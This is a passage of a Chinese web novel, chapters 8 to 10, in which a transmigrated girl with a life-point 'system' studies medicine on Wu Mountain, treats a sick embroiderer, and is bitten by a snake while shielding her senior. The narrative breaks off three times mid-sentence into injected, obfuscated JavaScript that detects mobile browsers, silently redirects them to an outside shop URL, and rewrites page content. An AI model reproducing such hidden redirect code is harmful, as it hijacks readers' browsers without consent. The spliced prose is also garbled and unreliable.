最后,性命当前,他不得不哼着应下了。 突然,旁边一直垂头沉默的书生问道:“你们是药师,懂治病?” 晏璇望望他,又望望孟珎,没说话。 “求你们救一人,我愿付出所有。之前的冒犯不当之处,叫我如何赎罪都行,我恳求你们。” 说着,他竟然要双膝跪地。 此时,“嘭”的一声,客栈房门被人猛得推开了,一个女子气喘吁吁地站在门口,掌柜的就跟在旁边,满是纠结。 “哎哟,倩娘,你这是……不要为难我们。” “掌柜的,容我进去先说几句,不叫客人迁怒。” “你……”掌柜的瞄了一眼林靖,没发现不对劲,赶紧领着小厮们退开了。 书生略显慌乱地站直了身体,向着门口走去。 “倩娘……你怎么在这?你的身体……快回去。” 女子布裙荆钗,面相柔美,只是脸色有些灰暗,看着像身患沉疴。 “你又为什么在这?你……是不是犯了什么错?” “我……我找来了医师给你治病。” 倩娘差点气得当胸一锤。这一路来,她早听人说了,初七是被人横着抗进了云边客栈,得罪了江湖中人惹得对方大怒。 她没再理他,往屋内瞧了眼,看出林靖是个主事的。 她关门往前走了几步,行了一礼:“这位大人,初七莽撞恐惹了几位,若有什么做得不对的,我替他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“姐姐,请过来这边。”晏璇坐在那对倩娘招了招手。 倩娘略一迟疑,朝林靖点点头,绕开书生走了过去。 “不用客气,请坐。” 她选了桌边一条圆凳,虚虚地坐在上面,歪头看向晏璇。 “不知道小姐有什么吩咐?” 晏璇笑着摇摇头,侧头对孟珎道:“师兄,你可不可以帮这位姐姐先看看病?” 孟珎凝望她许久,没什么情绪地“嗯”了声。 难道初七并不是信口开河? 倩娘在忐忑中伸出手腕让孟珎替她把脉。 林靖走回晏璇身边,心中暗叹,小姐无论年纪多少,永远是个心软的孩子。而他,既希望她保持初心又怕她受到伤害。 一番诊断,所有人都看向孟珎。孟珎只对着晏璇道:“她是心肺有损可治,以前喝的药只能表面止咳加重负担,需要长期调理,平日需忌食菘菜。” 晏璇点点头,赞道:“还是师兄的医术更令人信服。” 书生和倩娘对视一眼,眸中喜悦溢于言表。 他连忙拱手对着晏璇二人一拜:“多谢二位!有什么我能做的请尽情吩咐。” “好啊。”晏璇斜了他一眼,哼道,“我的画像爹娘还等着要呢,以后每三个月还来找你,不给钱那种。” 书生一愣,大叹了一口气,随之后怕的情绪再次上涌。那位林管事说得没错,他真是糊涂啊。 他向晏璇郑重表达了歉意,并允诺随时找他要画像都可以。 晏璇不想理他,从百宝袋里摸出了另外一颗丹药,递给倩娘:“这是我师父给我的,顺气凝神,对姐姐有用。” 倩娘受宠若惊:“已经受了小姐恩惠,这个您千万留着。” 那是师父为晏璇特制的药,孟珎欲言又止,可最后还是顺了她的意,冷声道:“收下吧,有了这个你的病也好得更快一些。” “……谢谢,谢谢。”倩娘有些哽咽。病痛的折磨几乎让她看不到希望,还拖累初七犯傻,她没想到会有今日的际遇。 【有新的提示:解囊相助,生命值加0.3%。】 “姐姐。”晏璇凑近倩娘,小声问道,“那个哥哥,和你是什么关系?” “啊?”又哭又笑的倩娘被这个问题问住,她有些呆呆地看着晏璇。 “他喜欢你?还是姐姐喜欢他?” “我,我们……” “我是倩娘的人。”一旁的书生一本正经道。 晏璇瞥眼看他,点点头:“哦~” 这或许还是个烈女怕缠郎的故事。 8. 第 8 章 清晨炊烟袅袅之时,路上行人寥寥无几。萧瑟的石道上唯有一头戴竹笠的青衣人驾着榆木马车赶路。 马车悠悠,车内的晏璇靠着花奕睡着了。整一宿她因四肢酸痛和手腕偶尔的刺痛而辗转反侧,此刻熬不住终于有了睡意。 孟珎为她重新上了药,换了细纱布。他低着头,静看着她依旧白皙的双手,相较之前上面多了许多细小伤痕。那时在酒窖内,他明明头脑昏沉整个人陷入迷乱,脸颊处仍感受到了被带有薄茧的手指摩挲过的触感。 她如当初安抚小野兔,轻声和他说着话…… 孟珎收回视线,转身钻出了车厢,沉默着坐到了车驾的右侧。 林靖拉着缰绳,斗笠下的脸微侧过去看他。听小姐说她师兄年纪小却样样拿手,尤其做的饭比夫人的都好吃,从少年冷傲的面上倒是看不出多少。 “前辈,师妹她……以前是怎样的?” “你觉得她是怎样的?” 孟珎最初以为她是有钱人家的娇气孩子,因为父母的宠爱活得无忧无虑,可是他忽略了太多东西,她和他,他们每一个人都是不同的…… 有人想了解他家小姐,还是她认可的玩伴,林靖不觉多说了两句:“她从小身体不怎么好,同龄的孩子们不愿意跟她玩,她就待在院子里自己看书自己找乐子,只有邻家小子偶尔会来串门。再近两年,便是一直生病吃药。” 林靖顿了顿,继续道:“她喜欢雾山,跟我说了许多你们的趣事。” 趣事?孟珎没什么印象,或许因为他本身是个无聊又无趣的人。 他抬眸轻轻扫过,视线落在车辕上,靠近车驾的地方刻了一个奇怪的图案,和昨天晏璇在认罪书上的手法很像。 见他好奇,林靖眼里也带了笑意:“那是小姐从前的乱涂乱画,老爷一开始要给擦了,可她说这是能带来好心情的标记。后来,老爷自己把它刻在了上头。” 孟珎的脑海里不禁浮现出晏璇眉眼弯弯的样子,这些奇怪的勾勒形状也成了一张小小的笑脸。 昨日,她给金麓的药也说是能让人开心的药,很不可思议但就是她会做的。 这样一个奇特又纯粹的人,是他的师妹,是他在崩陷之时会无意识去依赖的小姑娘…… “前辈,我想跟您学武。” 少年突然的请求令林靖一僵,他的眼神忽的变得锐利,身上释放出无形威压。 “为什么?” 孟珎看着那个笑脸:“在救死扶伤之前,也想有能力保护想保护的人。” “我想变强,想要保护好她。” 少年直起身来,坦荡荡地迎向他的目光,眼里盛着的不是世俗的贪念,是一个少年人最真挚的承诺。 许久之后,林靖收回内力目视着前方,马车即将进入雾山附近的崎岖小道。 “若你能做到你说的,你会是我唯一的徒弟。” …… 三人回到雾山,听徒弟们说完山下遭遇,孟尧让他们暂时待在山上。 “师父,我答应了倩娘要给她送药。”晏璇道。 “让珎儿去就行。”孟尧想起那个被自家徒儿骗了的峒山派弟子,“你不是还要去炼‘解药’?” 晏璇哼哼:“不急的。” 孟尧摇摇头:“这次是你们歪打正着,下次就没这么幸运了。外面的世界纷乱复杂,人心又最是难测,凡事要多留一线小心行事。” “知道了。” “也不知是真知道还是假知道。” 花奕在一旁道:“师伯,放心,以后我一定顾好小晏璇。” 孟尧见了她更头痛:“先顾好你自己,江湖远没你想得那么简单。” “哦。”花奕转头,对着晏璇吐吐舌。 这次师伯只是说教两句已经算客气的了。 “阿璇,师父倒希望你只过好自己的小日子,远离那些是是非非。” 晏璇明白,她所期望的不过就是赚够生命值,和家人过完普通的一生。 “听珎儿说,你最近对炼药很感兴趣?” “嗯,喜欢。” 让她多长心眼不如多炼些药带在身上,这次她吃了教训脑袋里冒出许多想法,就看动手能力能不能跟上了。 孟尧点点头:“也好。这两天让珎儿把大药炉清理出来,给你炼药用。” 接下来的日子,大家仿佛不约而同地忙碌起来。晏璇几乎都待在药房,和孟珎常常碰不到面,但一日三餐照旧不需要她担心,花奕则是早晚勤练武功,在不久前离开去了云州,之后她就要改道回药王谷。在花奕走前,晏璇送了不少新制的药丸,一部分自用,另外的让她帮忙推给品贤阁,花奕拍着胸脯表示对她的药特别有信心。 到了秋天,晏璇跟着孟珎再次去了趟云边小镇。倩娘的病养得差不多了,她重新拾起绣娘的活计,在晏璇去她家做客时,晏璇收到了她亲绣的两方帕子和一双绣鞋,本来孟珎也有份,但他拒绝了。 初七似乎随着倩娘病好变了许多,说话仍是那个腔调,但看人的时候眼里好像多了道光,也会打趣人了,让晏璇有种换了个人的错觉,大概这就是人生的脱胎换骨。 他开始唤她“小晏大夫”,唤孟珎“孟大夫”。 “为什么我就是小大夫?” “何为大,何为小?天下大事,必作于细。终不为大,故能成大。小晏大夫,来日方长。”① 啧,听他文绉绉说话不如回家炼药。 之后,晏璇偶尔还会跟孟珎下山去倩娘那坐坐,或者俩人一起去给附近的村民看病,停滞许久的生命值也有了变化。 【有新的提示:救死扶伤,生命值加0.3%。】 【有新的提示:妙手回春,生命值加0.1%。】 【有新的提示:救死扶伤,生命值加0.2%。】 …… 这日,两人路过云边小镇回雾山,迎面碰到了提前来拿解药的金麓。 这个送药的游戏晏璇早腻了,拖得越久越是后患无穷。她索性掏了一颗益气的药丸给他当解药,从此他们恩怨两清。 见金麓沉默了会没发难,孟珎护着晏璇就要离开。 “小姑奶奶,我知道你之前都是骗我的。”他突然在身后说道。 果然啊,这蛮人总算开了窍。 晏璇回身冷眼看他:“你想怎样?” 当初是借机骗他,不代表她现在没这个本事。 金麓左右打量了他俩一番,眼含戏谑:“不想怎样。” 晏璇:“……” 这做作的男人,真想给他来点“灵魂震撼”,让他三天说不出话来。 孟珎盯着他道:“既然无事,我们赶路,告辞了。” “哎,等等!”他跳将过来,伸手拦在他们身前。 孟珎已经凝气,蓄势待发。不料金麓又变了个脸色,他双手有些无措地握了握,飞快道:“掌门令我闭门思过三月,我已经改了。” 晏璇:“哦。” 金麓有些焦躁地咬了咬牙,瞟了晏璇几眼忽然扭捏起来。 “当,当初是我误会你给我投毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13095601|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总之,以后,你要是有什么要帮忙,我可以帮你一回,就一回。” 晏璇:“啊?” “啊什么……”金麓觉得自己逊毙了,以后还怎么混江湖,半颗脑袋都憋红了。 当时听到掌门说他没中毒,还让人用药调理了旧伤,他就觉得自己丢大脸了。虽然他金麓确实不是什么好东西,可也绝不会恩将仇报,白白受人恩惠。 “就,谢谢你的药。” 晏璇:“……” 小九:【哦,宿主,有新的提示:枯木逢春,生命值加0.3%。】 晏璇可太意外了:【……难道是我给他吃的小零嘴起药效了?】 小九:【根据后台显示,是的,对方因为你的药得到了恢复。】 她给金麓的所谓解药不过是她的小零嘴的改良版,加了两味药以假乱真。 当初师父真一语成谶,这完全是歪打正着中的歪打正着。 晏璇点点了头,道:“好,知道了,那我们走了。”说着,她拉了拉孟珎的袖子。 孟珎虽还有疑惑,也打算先离开,同晏璇对视后略一颔首。 “喂,小姑奶奶,你就这么走了?”金麓喊道。 “有事会找你的。”晏璇头都没回,“还有,别叫我小姑奶奶。” “就叫就叫,小姑奶奶!” 晏璇真的服了这个癫人,看在赚了点生命值的份上,就当没听见吧。 路上,孟珎听她讲了其中缘由,笑着摸了摸她的头:“这是师妹善心有报。” 晏璇抬头看他,发现最近他的表情变多了,至少在她面前不是一味的阴郁冷淡。 “师兄,笑起来的样子真好看。” 孟珎一愣,马上敛了笑意:“不,不好看的,走了,师父还等着。” 一掩饰就快走的毛病一点没变。 晏璇笑着追在后头:“好看的。” “……不好看,别看。” “好看。” “……” 时间一晃,晏璇已经在雾山待了三年。 关于她的秘密,在某日清晨,师父与她对谈和盘托出。她的身体确实特殊,不说百毒不侵对付一般毒物足够,这是一种遗传至西边某族的血脉能力。具体的他也不清楚,只是年轻时偶然看到过相关记载。而她体弱生病的原因是因为中了毒,一种在她体内产生了异变的毒物,这两年,孟尧做的就是帮她一点点解去体内余毒。 晏璇听罢,静默良久。她想通了以前很多不明白而故意不在意的地方。 “师父没有在一开始告诉你,一来是怕你年纪小多思多想误入歧途,二是怕你还没学会什么自保的能力。” 晏璇问:“爹和娘在最开始的时候就知道了,是吗?” 孟尧叹道:“他们曾犹豫要不要告诉你。不管如何,他们都希望你是健康快乐的。” “我,我这么一个,这么一个……”晏璇苦笑着,几次都没能把话说下去,“呵,他们真傻啊。”最后也只是叹了句,忍住了眼底的泪。 小九趴在她肩头:【……呜,宿主,他们才不傻,他们对你是真心的,不要伤心。】 孟尧不想明说就是不想有一天看见徒弟伤心。大的也好,小的也好,病可以治,心病却难医啊。 他揽住晏璇,轻轻拍着她的背。 “孩子啊,什么都不要多想。往前看往前走,往后只会越来越好。” “嗯。” --------- 注:①《道德经·第六十三章》化用。 9. 第 9 章 “阿璇,阿璇。”女子轻柔婉约的声音在耳畔响起。 晏璇还未睡够,蹭了蹭脸侧的被子,闭着眼唤她:“娘。” 女子抚摸着她的额头,将她翘起的乱发顺到耳后。 “想睡就睡吧。听说隔壁城里有位妙手大夫,娘和你爹去看一眼,要是真的就请来给阿璇看病,你乖乖在家等着。” “娘……” 脸上的轻抚消失了,卢晚茵的气息也没有了。晏璇心下一慌,可人全身无力挣扎不起,眼皮如千斤重无法睁开。 “娘!”她喊了一声,四周只有空荡的回声,天地间只余她一人。 别走!不要丢下她,他们都不要她了…… 对了,她记起来了,那个什么妙手大夫就是个招摇撞骗的神棍。他不仅骗人钱财还反过来污蔑别人,娘让她等两天,可是整整五天她都没见到人。 爹,娘,不要去!她不想吃药了,不治病了…… “怎么不好好吃药?不吃药身体就不会好,身体不好,爹爹怎么带你出去玩?乖,今天就喝一碗药。” “爹!” 晏时蕴的出现仿佛只是一道转瞬即逝的残影,任晏璇如何呼喊,他们都未再出现。 晏璇惊喘一声,大汗淋漓地从幻梦中醒来,入眼是床头摆放着的小羊木雕,这是今年孟珎送她的生辰礼物。 她闭眼深呼吸,抬手抹了一把额上的汗,原来梦里的她是那般胆怯的吗?大概是近日有些气虚无力才总会发梦。可师父明明说,她身上的余毒清得差不多了,自己摸脉也没察觉到异样,脸色甚至比以前要好。 颅内嗡嗡的有异响,似一股电流串过脑门,晏璇痛得“嘶”了声。 电流声?莫不是系统抽风了? 晏璇皱着眉:【小九?是不是发生了什么?】 许久之后才断断续续传来系统的声音:【宿主!不好……忘了,你……剩下……有麻烦……】 什么不好有麻烦? “嘟”的一声,晏璇的脑袋瞬间剧痛,彻底失去了和系统的联系。她的视线模糊起来,整个人晃晃悠悠的,一下倒回到了床上。 整个身体似随波逐流找不到支撑点,偶尔沉入海底,偶尔浮出水面,神思不知去了何处。待到她意识回笼也不知过去了多久,空气中有药香弥漫,微风轻拂着她的脸颊。 “风池、鹰窗、气海,各取一针,血色无恙……不该如此,不该如此啊。”是师父少有的沉重语气。 “珎儿,再去熬另一碗药来。” 不久,晏璇被人托着脑袋强行灌了一碗药汤,她无法动弹,喝药的时间就被无限拖长,苦涩的味道一直萦绕不去。 然后,有一小块什么东西被塞进了嘴里,随着口腔里唾液的作用,晏璇终于尝到了甜味。 会在喝药后给她糖吃的只有他,只是孟珎为什么不说话。 “呲呲呲”的电流声又响了起来,晏璇:【小九?】 【宿,宿,宿主主主……】 晏璇:【……】 真的很像机器卡壳死机……可它死机不该影响她的现世,影响她的只有那该死的生命值。 说起来,她的生命值还剩多少?小九说的‘剩下’、‘麻烦’、‘忘了’到底是什么意思…… 啊!晏璇突然脑内一个机灵,心脏猛跳。她确实忘了,当初系统说的基础生命值已在年前消耗完毕,此刻的生命值是后来赚的。 她拒绝系统高亮提示,又没想着时刻去问。自从倩娘他们搬走,她去云边小镇的次数屈指可数,山下村民那也没有那么多出诊机会,如今恐怕是“入不敷出”。所以,即使师父治好了她身体上的病,没有生命值支撑,她也只会无痛无伤般逐渐枯萎。 这么大的事,她自己犯蠢忘了,系统为什么也能忘?! 【小九!我要是就这么狗带了,做鬼都不会放过你的。】 “师父,师妹的呼吸好像变强了些!”孟珎有些激动的声音响起,少年渡过了变声期,音色变得温润柔和不再沙哑。 “珎儿,为师现在需要下山一趟,快则三天,慢则七天。你在此照顾好阿璇,若是到了非常地步,你就喂她吃下这颗丹药。” “好。” 晏璇听到了师父离去的脚步声,又听得银铃叮咚,孟珎坐到了她床头。 额上一片微凉,是他拿着帕子在给她擦汗。 他们不明真相还在想办法救她,而她只能躺着等死,可不得急出汗来。 晏璇:【小九,你要是再不出现,我马上咬舌自尽。】 不对,她现在连咬舌的力气都没有,同植物人也没差别,得换个别的什么条件。 【宿主,不要!自裁的话,这个世界就会崩塌,没有再重来一回的机会了。】 晏璇:【你终于出来了,说说怎么回事吧。】 小九委屈,小声应答:【系统忘了提醒宿主,当生命值剩下三十天的时候会进入偶发休眠期。系统被召回去进行了惩罚处理,不是故意不出来。】 晏璇:【……祂,祂们惩罚你什么?】 小九:【……】 晏璇:【行。你的意思是我只剩月余的性命,如果不在此时间内赚取生命值,只要低于三十天就会像现在这样无知无觉躺着。】 小九:【是的。】 晏璇:【那我如今这样怎么做事?】 小九:【宿主,不要担心,这是偶发症状,一般最多维持两天就会消失,但什么时候发作不一定。】 晏璇:【哈,我这样还能不担心该有多大的本事多大的自信,可不能因为我死过很多次就觉得无所畏惧。】 小九:【宿主不要妄自菲薄,你已经做得很好了。】 晏璇:【还是来点实际的,把生命值倒计时放出来吧。】 小九:【好的。】 一瞬间,硕大明亮的数字“29”被投放在视野正上方,那种踩在死线上的压迫感马上攫住了她的心脏。 晏璇:“……” * 孤山顶上,风起云涌,一黑一白两道身影对峙着。 “孟少卿,我以为你早死在哪个山头了。”脊背微驼的男子低哼一声,目光锐利直直盯着前方。 孟尧一身白衣长袖,背着手,浅笑道:“让你失望了。” “今日不惜出山都要来找我,是为何事?” “求解药。” 欧阳馗一怔,随即哈哈大笑起来:“往日的神医也会来向我这个老鬼求药,可真是太可笑了。” “你觉得可笑就笑吧,我只求解药。” 欧阳馗眯了眯眼:“江湖人人都知,凡出自我手的东西可没有解药一说,孟神医可是忘了。” 孟尧嗤笑一声:“你说没有就没有,我说你有你就有。” “孟少卿,不要太过分!”欧阳馗的脸瞬间冷了下来。 “老鬼,骗骗那些人也就罢了,你我之间没必要绕圈子。” 欧阳馗瞪着他,不置可否。 时间紧迫,孟尧也不想与人打太极,很快说明了来意。 听罢,欧阳馗又是一愣:“你的小徒弟?我老鬼虽被那些伪君子说成离经叛道,可对一个小娃娃出手,我还不屑于此。” 孟尧神情凝重:“非是你,该是十多年前有人借你的药谋害了我的徒儿。加之她体质特殊,药物起了变化,我并未能帮她全部祛毒。” 欧阳馗思索一番,向远处招呼道:“数儿,拿我的芝参丹来。” “是,师父。” 孟尧转头看去,见一个黑布蒙面的少年和一个玄衣少女站在不远处,观其年纪比自己的大徒弟要小一些。 “没想到有生之年能看到你收徒。” 欧阳馗哼道:“只准你有徒弟,不准其他人也有吗?” 孟尧摇头不语。 一会,少年捧着一个木盒走上前来。他双眼低垂,眼神放空,黑纱布几乎蒙住了整张脸,浑身散发出一种寡淡的冷血之意。如此小的年纪就……孟尧不禁皱了下眉。 “东西拿了就走吧,之后就看你徒儿自己的造化 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小九:【哇哦,孟珎真这么打算的,宿主你好了解他。】 晏璇:【……】 她不是因为伤心,他又多想了。还有,她哪有吃饭前洗两遍手,明明只是洗久了点而已。 “师妹……” 孟珎手中的帕子缓缓掉落在地,他睁大着眼,一瞬不瞬地盯着床上已然醒了的晏璇。 晏璇:“嗯?” 她有些懵,太过突然不确定是不是把心里话说了出去…… “你醒了!”孟珎缓过神来,双眼瞬间有了神采,脸上欣喜无比,然而又好像意识到什么,他垂了眼眸,耳廓微红,侧着脸问她,“你,有哪里不舒服吗?” “师兄,我要下山!”晏璇一个鲤鱼打挺坐起身来,奈何气力不足,起了一半又倒了回去。 “小心。”孟珎适时扶住她,不解道,“为何要下山?” “因为,因为我答应了药铺老板,今天要去给他送药。” 孟珎有些疑惑:“之前未听你说起。就算要去,我替你去便是。” “唔,是一些不好开口的秘药。”说着,晏璇就要起来换衣。 “非得今日?你的身体……真的没事吗?” “没事,你知道的我体质特殊。说好了今日一手交钱一手交货,要是晚了,买卖就不成了。” 见她坚持,面色确也无异,孟珎只好收起木盆和帕子,道:“那我同你一起去。你先收拾,我去给你准备点吃的,吃完了再走。” “好。” 晏璇火速换好衣服,把能用上的药丸都装上,什么药铺谈好的生意那都是无稽之谈,要先往有人的地方去才行。 两人走在山道上,孟珎时不时瞥一眼晏璇,总觉得师妹醒来后整个人有些急迫,是因为有人等着丹药救命还是其他的?她不至于在乎那点生意的钱。 “师兄,一会我去药铺,你帮我去买些馒头之类的吃食,越多越好。上次我们去云边小镇,街上有不少乞讨流浪的孩子,我们请他们吃顿饱的吧。” 孟珎一时怔住:“你在意药铺的丹药生意,是因为想赚钱?” “钱自然是越多越好。” 小九:【宿主,孟珎以为你要赚钱做好事。】 晏璇:【随他怎么认为,现在我能想到的还远远不够,你有什么提议?】 小九:【当宿主想成为一个好人,做什么都有意义的。】 晏璇:【少来灌鸡汤。】 下了一半的山,孟珎见晏璇气喘体力不足,又主动蹲下背她。 晏璇趴着在他耳侧道:“师兄,你最近是不是背着我和师父偷偷练功了?气息越来越稳了。” 不等孟珎回答,一道清丽女声响起:“练到什么程度了?来和我过两招看看。” 晏璇看着一身火红衣裙的女子从树上跳下,扬着眉笑看着他们。 “奕姐姐!” 10. 第 10 章 上次一别已过大半年,少女俏丽的面容多了份沉稳,背着破妄的身姿依旧秀颀飒爽。 花奕的视线微扫过孟珎,落在其背上的晏璇身上:“算我赶得巧,你们要下山去?” 孟珎一脸平静的漠然,连眼神都没给一个。这么多年,他二人对待彼此倒是始终如初。 晏璇点点头,孟珎知她和花奕有话聊,便轻巧地将她放下。 她理了理衣摆,道:“奕姐姐怎么来了?” 花奕下巴微扬,面有喜色:“有个好消息要告诉你,就迫不及待赶来了。既然要下山,我同你们一起走一趟吧。” 好消息?莫不是又得了什么绝世刀法还是悟出了武学心得,晏璇了然一笑。虽为她高兴,可一说起那些就有聊不完的话头,现在她的事迫在眉睫,一时没多问。 晏璇:“那便一起去。” 花奕笑着上前,要来挽晏璇的胳膊。突然,她的神情一滞,整个人被施法定住一般,眼神闪烁着一直往旁边瞟。 “奕姐姐你……”晏璇困惑地望向孟珎。 “别动!”花奕压着嗓音,眼睛颤巍巍地往她身后瞥了一眼,“有,有蛇,是蛇啊……” 一个“蛇”字说出了九曲十八弯的感觉。 晏璇没想到天不怕地不怕的花奕会怕蛇,不过有些人就是会怕某些特定的东西,这与心理有关,与他们的胆魄无关。 孟珎皱了下眉,扭头去看,见一条大青蛇吐着银色信子盘在树梢上,闪着幽光的暗红眼睛正紧盯着他们。 这是剧毒的青叶蛇! 他暗提一口真气,右手凝聚一道劲气,对晏璇道:“是毒蛇,要小心,一会往我身后去。” “闷葫芦,你别乱来啊。我,我动不了了……”花奕白了脸,闭着眼不敢看,看来真的很怕。 孟珎:“……” 他咬了咬牙,回身先将晏璇护住,趁着巨蛇未动先撤离,不想猎手感受着猎物,一有异动,它便竖起上半身昂着颈猛攻过来。 手上劲气瞬弹,孟珎脚下连点疾退,同时伸手将僵住的花奕一提。蛇类动作灵活迅猛,加之孟珎功力尚浅,一击之下并未击中要害,青叶蛇露出毒牙发出“嘶嘶”声响。 晏璇被推远,看清绿色长蛇游动的样子,心中也不免怦怦乱跳,实在是有些可怖。花奕不能动弹,幸有孟珎挡住了巨蛇的攻势。在青叶蛇想再次攀咬而上时,他松开花奕,顺势从她背后抽出破妄,环首一刀劈下,顷刻血液四溅,大蛇被斩落,身首分离。 花奕手脚脱力地靠在一旁,孟珎提刀甩去刀身上的蛇血,看她一眼。 “刀,还你。” “那东西死了吗?” “应该。” “……应该?” 花奕的呼吸加重,可她仍不敢看一眼那滑溜溜的长虫,身上泛起的鸡皮疙瘩就没下去过。 “你,你再过去砍几刀扔远了,我害怕。” “……” 晏璇倒是回头瞧了一眼,蛇胆蛇骨蛇皮可是炼药的好材料,正当她想着该怎么处理这一堆宝贝,地上的蛇头似乎动了一下。 她不确定是否眼花,她想起曾经在某科普小课堂上见过,某些被斩断的蛇仍能释放毒液咬伤靠近的人类。 此刻,孟珎正背对着危险。 晏璇盯着地上那处沉默着。下一瞬,张开的蛇口果然向着孟珎扑去。 “师兄,小心!” 千钧一发之际,晏璇张开双臂挡在孟珎身前。青叶蛇的毒牙牢牢咬在她的左前臂上,剧烈的刺痛袭来,晏璇闷哼了一声。 “师妹!” 觉察到变故的孟珎心头震颤,他扶住晏璇微微晃动的身体,抬手一掌轰向大蛇,蛇头被震落龟裂开来。 晏璇臂上的两个血口渗出血水,她咬牙摸出两根银针迅速扎在血口上方。 孟珎眼中慌乱,抬手要为她挤出毒血:“要快些配制解药!” 晏璇伸手紧握了下他有些发抖的手掌,勉强笑道:“师兄忘了,我身体有异不会有事的……” 孟珎一愣,一瞬不瞬盯着她,似是侥幸似是懊丧。 “只是有些乏力。” 大概是她的身体没达到最佳状态,毒牙刺入的时候,还是感受到了一股阴冷的麻痹感,流出的血液却不是毒发的乌血。 孟珎惊惶,一时未注意到伤口的异样。此刻,他冷静下来为她把脉,确认她真的没事,神色才有所缓解。 他拧着眉,后怕的情绪溢满胸口:“以后不许再做这种事。” 晏璇:“师兄护我,我也应护着师兄。” ——以后,阿璇也会保护师兄的。 当日起誓后的笑言仿佛在耳畔回响,孟珎心中酸涩,垂眸道:“我不需要你保护,傻瓜。” 小九:【宿主,请小心。孟珎会武有机会自己躲开,你若不是体质特殊可就危险了!】 是啊,她也没有自虐的爱好非要让自己受伤,只是…… 【有新的提示:助人消灾,生命值加1%。】 瞥了眼上涨的数值,晏璇对孟珎浅浅笑着,他是真心可她全是假意,若有一天他知晓了……他还会认她这个师妹吗? 经此意外,下山之行暂且搁置。 孟珎替晏璇清理了伤口,涂药包扎,心里不放心又叫她吃了解毒丹,之后就去帮她处理青叶蛇用作炼药。 花奕愧疚地坐在一旁:“哎,这次是我拖了后腿。幸好阿璇你没什么大事,你的医术是不是又精进了?” 晏璇:“……” 看来,她和孟珎的话,她是一句没听进去。 晏璇腼腆一笑:“或许吧。” “你啊,谦虚了。” 花奕从袖口里掏了掏,掏出一枚小木牌,笑道:“喏,这次就是来给你送这个东西的。” “这是……” 晏璇伸手接过,入手是一块很轻的方正木牌,看质地像是金丝楠木的。木牌一面雕刻有一只栩栩如生的雀儿,一面刻了一个“岐”字。 “品贤阁给的,下次去直接出示牌子就行。当初你不让我报你的真名,我就单说了个‘璇’字,结果那管事以为是‘玄’,现在江湖上估计已经有玄师的名头了。” 晏璇有些意外:“可是之前,奕姐姐说品贤阁并不买账,我几次炼的药都退了回来。” 她曾经想靠品贤阁赚一笔顺便看看能否涨生命值的打算就搁浅了。 说到此,花奕哼了声:“是他不识货,连我娘都说你炼的药难得,我这人最不服被人看不起,这次去恰好又遇到一出好戏。” “你猜我在那见到了谁?” 晏璇摇摇头,她在这笼统也不认识几个人。 “就那个峒山派的金麓。我去的时候,不知他跟灵山派的几个弟子起了什么冲突,大打出手,把对面的小弟子揍得口吐鲜血。” 原是金麓那个莽憨……自上次一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13095603|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别,她没再见过这人。 “灵山派掌门廖雪遥看似温和懒散,实则最是护短,品贤阁的怕得罪了人,赶紧叫人给人治伤,可惜啊,他们虽有钱找的医师却不怎样。” 晏璇料到了什么,接道:“所以,奕姐姐让他们用了我的药?” “差不多,不过品贤阁的实在气人,我就狠敲了他们一笔。” 说着,花奕掏出两张银票塞进她手里。 整整三百两,可是相当大的数额了。当年,初七仅因为十几两的医药费差点害了她误入歧途。 晏璇笑叹着:“姐姐当年说我只想着卖药不知道救死扶伤……” “咳咳。”花奕瞪了她一眼,“这人也救了,对某些不知好歹的给点教训不为过。” 晏璇只取了一张:“谢谢姐姐,都是姐姐的功劳。” “别,我只是顺手,顶多动了几下嘴皮子。给钱,不如我向你讨要几颗养元丹,就看你愿不愿意了。” “其实……”晏璇顿了顿,笑道,“最近我又炼制了一些养颜丹活血丹以及跌打损伤膏药,奕姐姐想,都可以拿去试试。” “啊……”花奕捧住晏璇的脸,一阵揉捏,“你怎么这么有本事。都是一个师父的,我看闷葫芦一根毛都及不上你!” “没有的。”晏璇无奈道,“师兄擅长剔骨疗疾,针灸术也很好。” “啧,别让他听到你夸他,指不定会得意成什么样。” 话落,孟珎捧着托盘,冷着脸出现在门口。 “花奕,放开师妹。” 花奕斜了一眼才讪讪松开手,对晏璇嘀咕道:“早不来晚不来的,肯定躲哪偷听了。” 晏璇心下摇头,抬眼看去,孟珎缓了神情,眸光微动地回望着她。有一点,花奕没说错,孟珎这算半个闷葫芦,除了她和师父,没见他给什么人好脸色。 【有新的提示:转危为安,生命值加0.5%。】 【有新的提示:妙手回春,生命值加0.2%。】 【有新的提示:容颜焕发,生命值加0.1%。】 【有新的提示:却病延年,生命值加0.3%。】 突然,一连四条提示,晏璇有些懵:【小九,怎么回事?】 小九:【宿主,这是品贤阁那边延迟传来的消息,上面评估后认为是有效的功德分。】 这次花奕的到来,真的给晏璇带来了惊喜。不必再绞尽脑汁想着如何行善,那种事顺其自然最好,她现在可以靠着品贤阁解除忧患。 晏璇对着孟珎开怀一笑,如飞流瀑上泄下一缕霞光,光彩耀眼,炫丽迷人,孟珎心神晃动,小心珍藏这怦然瞬间。又见她转身,对花奕抱了抱,喃喃着:“奕姐姐……” 花奕狂喜,回抱住她:“好妹妹!” 